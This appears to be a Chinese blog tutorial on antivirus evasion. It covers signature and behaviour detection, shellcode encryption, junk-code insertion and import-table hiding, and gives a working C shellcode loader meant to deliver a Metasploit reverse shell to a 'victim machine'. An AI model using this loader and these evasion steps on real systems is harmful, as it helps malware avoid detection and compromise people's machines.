免杀初探
0x00 概念
免杀是反病毒技术,指的是一种能使病毒木马免于被杀毒软件查杀的技术。免杀的最基本思想就是破坏特征,可以是特征码,也可以是行为特征,以这种思路修改病毒、木马的内容,来对抗杀软。
网上的开源测试项目在短时间内就会被安全厂商分析并加入特征库,即使它们已经无法免杀,我们也可以拿来学习和利用。一个是学习它的实现思想,自己实现并去特征免杀;二是改造原有项目,通过自己查特征、去特征免杀。
主流的免杀思路:
- 二进制的免杀,利用汇编配合shellcode,通过调用系统底层函数进内核的方式免杀。
- 寻找安全厂商未覆盖的方法和工具,使用新的语言工具和项目,跟厂商比速度。例如,可以用各种语言二次编译,配合上一些语言特性如python反序列化达成免杀;以及通过现有工具的组合有效提高复杂度。目前比较好用的免杀,是换语言和分离免杀,还有就是现在错误的PE格式更容易被检测到。
0x01 杀软检测方法
-
特征码检测
对文件或内存中存在的特征做检测,一般的方法是做模糊哈希或者机器学习跑模型,优点是准确度高,缺点是对未知木马缺乏检测能力。所以目前依赖厂商的更新,厂商做的更新及时能有效提高杀软的防护水平。
检测的特征不仅仅是恶意payload的特征,也可能是一组关联的代码,即将一组关联信息作为特征。这种做法的本质还是黑名单,总会存在未能覆盖到的漏网之鱼。例如,在使用加载器加载shellcode时,需要开辟内存,将shellcode加载进内存,最后执行内存区域shellcode。这些步骤就被反病毒人员提取出来作为特征,在调用了一组开辟内存的函数比如virtualAlloc之后,如果对该内存使用virtualProtect来更改标示位为可执行段并且对该内存进行了调用就会触发报毒。 -
行为检测
通过hook关键API,以及对各个高危的文件、组件做监控防止恶意程序对系统修改。只要恶意程序对注册表、启动项、系统文件等做操作就会触发告警。最后,行为检测也被应用到了沙箱做为动态检测,关于给木马样本做反沙箱:【外链1】、【外链2】
0x02 绕过杀软
-
特征码修改、去特征
一个shellcode加载器存在两个明显的特征,分别是shellcode和硬编码字符串。我们需要消除这些特征,比较简单的方案,可以使用base64等进行编码。但对于shellcode,使用base64并不安全,所以更安全的方案是加密,一个简单的异或加密就能消除shellcode的特征。然后加载器的关联特征也需要消除,可以对代码中出现连续调用的virtualAlloc,virtualProtect进行插入花指令,通过加入无意义的代码干扰EDR反编译和分析。还可以考虑加壳。 -
内存免杀
-
隐藏IAT
每调用一个系统函数就会在导入表中存在,这对于反病毒人员来说是个很好的特征,直接通过检测导入表中有没有调用可疑函数。这里就需要隐藏我们的导入函数。一个比较通用的办法是直接通过getProcessAddress函数获取所需要函数的地址,知道地址后就能直接调用,这样整个程序内除了getProcessAddress不会有其他函数出现在IAT表中。尽管这样已经能绕过检测,但还有种更保险的做法,用汇编从Teb里找到kernel32.dll的地址,再从其导出表中获取所需系统函数。 -
分离免杀
关于shellcode和loader分开上传。 -
二次编译、其他语言编译免杀
0x03 免杀学习
基于对免杀的认识,大致可以分成两个方向进行学习:静态免杀和动态免杀。此外还需要了解EDR的行为模式、关注它是怎么分析程序的,写免杀马才能事半功倍。
静态免杀
静态免杀的主要思路就是改变病毒的特征,使得恶意代码在不执行的情况下看起来无害,从而躲避杀毒软件的查杀,实现方式例如加密、换框架、换语言..
首先从写个普通的加载shellcode代码开始学习,了解到python的loader最容易被查杀(除非用cython写pyd),所以从c开始学习了。
先通过msf或者cs生成反弹shell的shellcode
将生成的shellcode套入下列c代码的payload中,编译出msf_shell.exe
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
unsigned char payload[] = "";
unsigned int len_payload = sizeof(payload);
int main(void){
void * payload_memory;
BOOL result;
HANDLE ThreadHandle;
DWORD OldProtect = 0;
//(1)Allocate a memory for payload.
payload_memory = VirtualAlloc(0, len_payload, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//(2)Copy payload to memory buffer.
RtlMoveMemory(payload_memory, payload, len_payload);
//(3)set buffer as exectuable
result = VirtualProtect(payload_memory, len_payload, PAGE_EXECUTE_READ, &OldProtect);
if(result != 0){
//(4)run payload
ThreadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_memory, 0, 0, 0);
WaitForSingleObject(ThreadHandle, -1);
}
return 0;
}
(1) 使用VirtualAlloc函数在当前程序进程的虚拟地址空间中分配一块内存,以容纳payload数组,并将这块内存设置为允许读取和写入。该函数返回一个指向已分配内存块的基地址的指针,该内存块存储在payload_memory变量中。VirtualAlloc函数可以在当前调用进程的虚拟地址空间中保留、提交或保留并提交指定数量的内存页。该函数分配的内存会自动初始化为零。如果需要在另一个进程的地址空间中分配内存,需要使用VirtualAllocEx函数。
(2) 通过RtlMoveMemory函数实现了将payload的具体内容复制到之前使用VirtualAlloc()分配的payload_memory缓冲区内存中。
(3) 通过VirtualProtect实现了对payload_memory指向的内存区域保护属性的修改。 将保护属性从PAGE_READWRITE更改为了PAGE_EXECUTE_READ,这使得这块内存可以作为代码执行。旧的保护属性值存储在OldProtect变量中供以后使用。该函数会返回一个布尔值,结果存放到result变量中,用于指示保护属性更改是否成功。
(4) 通过在单独的线程中执行来运行payload,并等待它执行完成,然后再继续执行程序的其他功能。
在受害机运行刚刚生成的可执行文件msf_shell.exe后,在正在监听对应端口的攻击机即可看到新上线的shell
接下来可以开始尝试一些静态免杀方法了,比如:【外链】回调编译执行+混淆变异算法
动态免杀
相较于静态免杀,动态免杀通过修改恶意代码的行为方式,使其在实际运行过程中能够规避杀软的动态分析和检测技术。与静态免杀专注于修改文件的静态特征不同,动态免杀关注的是软件在执行阶段如何与系统交互,以及如何隐藏其恶意活动,以欺骗或绕过EDR的实时监控,这就倾向于需要去关注系统调用、回调函数等来实现利用。大致思路有:替换/重写API、在程序运行时动态地向内存中注入或修改代码、API调用混淆、代码延时执行与环境检测、进程注入与隐藏、找更底层API进行调用...